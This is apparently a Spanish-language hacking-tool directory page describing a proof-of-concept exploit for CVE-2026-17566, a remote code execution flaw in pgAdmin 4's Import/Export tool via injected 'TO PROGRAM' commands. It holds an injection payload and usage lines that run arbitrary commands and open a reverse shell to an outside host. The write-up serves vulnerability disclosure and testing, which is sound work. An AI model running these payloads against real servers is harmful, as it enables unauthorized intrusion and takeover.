Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-17566 — pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - Inyección TO PROGRAM mediante desajuste de escape con barra invertida | Kitploit
Herramientas/GitHubGitHub/hackspeak/cve-2026-17566
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de Penetración
GitHubhackspeak/cve-2026-17566

CVE-2026-17566

pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - Inyección TO PROGRAM mediante desajuste de escape con barra invertida

Ver Repositorio
11hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC

PoC de ejecución remota de código en la herramienta Import/Export Data de pgAdmin 4. Aprovecha la divergencia semántica del escape de barra invertida entre el verificador de paréntesis _is_query_parens_balanced() y psql para inyectar \copy ... TO PROGRAM y ejecutar comandos arbitrarios en el servidor que ejecuta pgAdmin.

Cadena de ataque de fondo: CVE-2026-17349 (filtración de credenciales en Workspaces) → CVE-2026-17351 (omisión de solo lectura en AI Assistant) → esta vulnerabilidad (RCE). Las tres solo requieren un usuario autenticado con privilegios bajos.

Resumen de la vulnerabilidad

La herramienta Import/Export Data inserta el SQL del usuario en una plantilla Jinja para construir el comando psql \copy (...). El verificador de equilibrio de paréntesis escrito a mano siempre trata \' como una comilla escapada (correcto solo cuando standard_conforming_strings=off); sin embargo, con (el valor predeterminado de PostgreSQL), , por lo que la comilla se cierra directamente.

standard_conforming_strings=on
psql trata la barra invertida como un carácter normal
root@kitploit:~
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'

El verificador cree que ) sigue dentro de la cadena → los paréntesis "equilibrados" pasan la validación; psql cierra la cadena en a\', ) concluye el envoltorio \copy (...), y TO PROGRAM 'cmd' se convierte en una directiva viva, ejecutada por el popen() de psql.

  • CWE: CWE-78 (inyección de comandos del SO) / CWE-115 (interpretación errónea de entrada)
  • CVSS: 9.9 (CVSS 3.1) / 9.4 (CVSS 4.0), alcance modificado, privilegios bajos + sin interacción
  • Afectados: pgAdmin 4 < 9.18 (desde la introducción de _is_query_parens_balanced()); commit de corrección 1496fabe
  • Relacionados: CVE-2025-12762 / CVE-2025-13780 (inyección TO PROGRAM en psql, misma familia)
  • Descubridor: Arpit Jain (arpitjain099)

Condiciones de explotación

  • Usuario pgAdmin autenticado con privilegios bajos (con permiso tools_import_export_data)
  • Servicio pgAdmin accesible desde la red
  • El objetivo es pgAdmin 4 < 9.18 con la herramienta Import/Export disponible

Uso

root@kitploit:~
export PGADMIN_PASSWORD='账户密码'

# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'

# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --reverse 10.0.0.1:4555
ParámetroDescripción
--urlURL base de pgAdmin
--user / --password (o PGADMIN_PASSWORD)Cuenta con privilegios bajos
--commandComando arbitrario (no puede contener comillas simples)
--reverse HOST:PORTGenera una reverse shell bash
--server-idID del servidor (por defecto toma automáticamente el primero)
--fileNombre del archivo de exportación (se usa para construir el comando \copy, por defecto /tmp/pgadmin_export.csv)
--no-verifyOmite la verificación del certificado TLS

Flujo: inicio de sesión (manejo automático de CSRF/sesión) → enumeración de servidores → POST /import_export/job/<sid> para enviar la solicitud is_query_export construida.

⚠️ Descargo de responsabilidad

Solo para investigación de seguridad, verificación de vulnerabilidades y pruebas defensivas. Este script se elaboró a partir de análisis técnicos públicos y no se ha verificado en equipos reales; los campos de las solicitudes pueden requerir ajustes según la versión de pgAdmin objetivo. Ejecútelo únicamente en entornos de pruebas autorizados y no lo use contra sistemas no autorizados.

Atribución y referencias

  • Este repositorio es un PoC escrito de forma independiente (licencia MIT), basado en información pública
  • Issue oficial #10213: error de semántica de barra invertida en el verificador de paréntesis
  • OpenCVE: CVE-2026-17566
  • NVD: CVE-2026-17566
  • Commit de corrección: 1496fabe
Descargar herramienta